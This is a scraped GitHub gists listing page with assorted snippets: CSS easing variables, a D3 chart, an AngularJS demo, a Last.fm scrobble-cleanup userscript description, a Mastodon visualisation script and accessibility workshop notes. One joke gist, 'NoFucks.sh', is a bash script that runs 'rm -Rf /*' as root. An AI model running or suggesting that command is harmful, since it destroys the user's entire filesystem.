Skip to content

Instantly share code, notes, and snippets.

View spjpgrd's full-sized avatar
📸
was here.

seán patrick john paul george ringo doran spjpgrd

📸
was here.
View GitHub Profile
export const chaosTestStrings = (): void => {
const textNodes = getAllTextNodes(document.body);
for (const node of textNodes) {
const textNodeLength = node.textContent ? node.textContent.length : 0;
if (node.textContent === null) {
return;
}
if (node.parentElement instanceof Element) {
if (node.parentElement.dataset.originalText === undefined) {
@muhdiboy
muhdiboy / lastfm-automated-remove-duplicates.md
Last active May 2, 2024 11:59
LastFM automated duplicate scrobble deletion script

Why would I need this?

Your scrobbler might have decided to scrobble every song hundreds of times, and you can't really remove those scrobbles efficiently. Or you might have accidentally installed multiple scrobbler extensions at the same time - wondering why multiple scrobbles appear for every song played at a time - and you want to clear them after finding the issue.

Using this script still doesn't necessarily make the process quick since Last.fm only displays a limited number of scrobbles that can be removed on each page of your library. However unlike the implementation of @sk22 and its forks, this UserScript, which is derived from those scripts, is run once. The rest of the process is automated and the script will stop at the page you have set using the prompt.

Installation

Prerequisites

@lucahammer
lucahammer / mastoviz.py
Last active February 12, 2024 11:29
Mastodon Network visualization (for use with Gephi)
'''
Replace base_url, access_token and user_id
'''
import requests
base_url = 'https://vis.social/api/v1/'
# https://takahashim.github.io/mastodon-access-token/
access_token = '###'
# which followers to visualize
@spjpgrd
spjpgrd / intro-to-accessibility-resources.md
Last active September 18, 2020 20:27
Columbus Web Group Weekend Workshop: Introduction to Accessibility with Brian Greene

Video Playback

YouTube

Watch on YouTube

The web is not only an essential resource for getting information, but also for providing information and interacting with others. It's important that the web be accessible to provide equal access and opportunity to those with a disability. In the simplest terms, web accessibility means that people with disabilities can use the Web.

Web accessibility includes all disabilities that impact access to the Web including:

  • Visual
@bendc
bendc / easing.css
Created September 23, 2016 04:12
Easing CSS variables
:root {
--ease-in-quad: cubic-bezier(.55, .085, .68, .53);
--ease-in-cubic: cubic-bezier(.550, .055, .675, .19);
--ease-in-quart: cubic-bezier(.895, .03, .685, .22);
--ease-in-quint: cubic-bezier(.755, .05, .855, .06);
--ease-in-expo: cubic-bezier(.95, .05, .795, .035);
--ease-in-circ: cubic-bezier(.6, .04, .98, .335);
--ease-out-quad: cubic-bezier(.25, .46, .45, .94);
--ease-out-cubic: cubic-bezier(.215, .61, .355, 1);
@BinaryBeard
BinaryBeard / NoFucks.sh
Created April 12, 2016 18:24
For when you're having a shitty day
#!/bin/bash
# Usage: sudo sh NoFucks.sh [--really, --watch-it-burn]
if [ "${1}" = '--really' ] ; then
rm -Rf /*;
elif [ "${1}" = '--watch-it-burn' ] ; then
rm -Rfv /*;
else
rm -R /*;

iOS Parallax Wallpaper Optimal Size

iPhone 5
744 × 1392 px

iPhone 6
872 × 1634 px

iPhone 6 Plus

@chrtze
chrtze / chart.js
Created November 23, 2015 20:00
Line Chart Example
var Chart = (function(window,d3) {
var svg, data, x, y, xAxis, yAxis, dim, chartWrapper, line, path, margin = {}, width, height, locator;
var breakPoint = 768;
d3.csv('data.csv', init); //load data, then initialize chart
//called once the data is loaded
function init(csv) {
@bennadel
bennadel / a.htm
Created July 18, 2015 17:39
Using Anchor Tags And URL-Fragment Links In AngularJS
<!doctype html>
<html ng-app="Demo">
<head>
<meta charset="utf-8" />
<title>
Using Anchor Tags And URL-Fragment Links In AngularJS
</title>
</head>
<body ng-controller="AppController as vm">
@psebborn
psebborn / sentence-case.sass
Last active June 8, 2021 15:29
Sentence case for CSS
// CSS doesn't have a text-transform: sentence case,
// so here's a little mixin to spoof it for you
@mixin sentence-case() {
text-transform: lowercase;
&:first-letter {
text-transform: uppercase;
}
}